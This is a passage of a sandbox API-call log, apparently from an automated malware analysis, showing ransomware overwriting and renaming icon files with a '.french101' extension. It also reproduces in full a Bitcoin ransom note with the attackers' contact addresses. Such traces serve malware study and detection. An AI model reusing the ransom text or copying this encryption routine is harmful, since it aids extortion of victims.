[0284.921] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.921] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0284.921] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.921] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0284.921] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c48*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.976] CloseHandle (hObject=0x398) returned 1 [0284.978] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0284.978] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.978] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37f [0284.978] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.978] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.978] SetEndOfFile (hFile=0x398) returned 1 [0284.984] CloseHandle (hObject=0x398) returned 1 [0284.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0284.984] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.984] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.984] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0285.335] CloseHandle (hObject=0x398) returned 1 [0285.335] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\6VLprcDolr9osRAl3k41+++JR+gpr4.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\6vlprcdolr9osral3k41+++jr+gpr4.french101")) returned 1 [0285.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\6VLprcDolr9osRAl3k41+++JR+gpr4.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\6vlprcdolr9osral3k41+++jr+gpr4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.336] CloseHandle (hObject=0x398) returned 1 [0285.336] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\6VLprcDolr9osRAl3k41+++JR+gpr4.french101", dwFileAttributes=0x80) returned 1 [0285.337] CloseHandle (hObject=0x398) returned 0 [0285.337] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0285.337] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0285.337] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0285.337] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0285.337] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0285.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0285.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0285.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.338] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0285.338] CloseHandle (hObject=0x398) returned 1 [0285.338] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0285.338] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0285.338] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0285.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0285.339] CharLowerBuffW (in: lpsz="Rotate6.ico", cchLength=0xb | out: lpsz="rotate6.ico") returned 0xb [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6è\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.339] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0285.339] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0285.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0285.339] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0285.339] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0285.339] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0285.340] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0285.340] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", dwFileAttributes=0x20) returned 1 [0285.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0285.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0285.340] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0285.358] CloseHandle (hObject=0x398) returned 1 [0285.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.359] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.359] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37f [0285.359] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.359] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0285.359] SetEndOfFile (hFile=0x398) returned 1 [0285.361] CloseHandle (hObject=0x398) returned 1 [0285.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.361] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0285.361] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0285.361] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0285.953] CloseHandle (hObject=0x398) returned 1 [0285.953] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\tUmrc1FvD9+DpEY+cO86bKM5XW0rO4.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\tumrc1fvd9+dpey+co86bkm5xw0ro4.french101")) returned 1 [0285.954] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\tUmrc1FvD9+DpEY+cO86bKM5XW0rO4.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\tumrc1fvd9+dpey+co86bkm5xw0ro4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.954] CloseHandle (hObject=0x398) returned 1 [0285.954] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\tUmrc1FvD9+DpEY+cO86bKM5XW0rO4.french101", dwFileAttributes=0x80) returned 1 [0285.955] CloseHandle (hObject=0x398) returned 0 [0285.955] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0285.955] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da2d0 [0285.955] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0285.955] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0285.955] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0285.955] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.956] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.956] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0285.956] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.956] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.956] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0285.956] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0285.956] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0285.956] CloseHandle (hObject=0x398) returned 1 [0285.956] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0285.956] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0285.956] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0285.956] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0285.956] CharLowerBuffW (in: lpsz="Rotate7.ico", cchLength=0xb | out: lpsz="rotate7.ico") returned 0xb [0285.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7è\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0285.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0285.957] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0285.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0285.957] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0285.957] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0285.957] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0285.957] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0285.957] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", dwFileAttributes=0x20) returned 1 [0285.959] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.959] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.959] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0285.959] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: 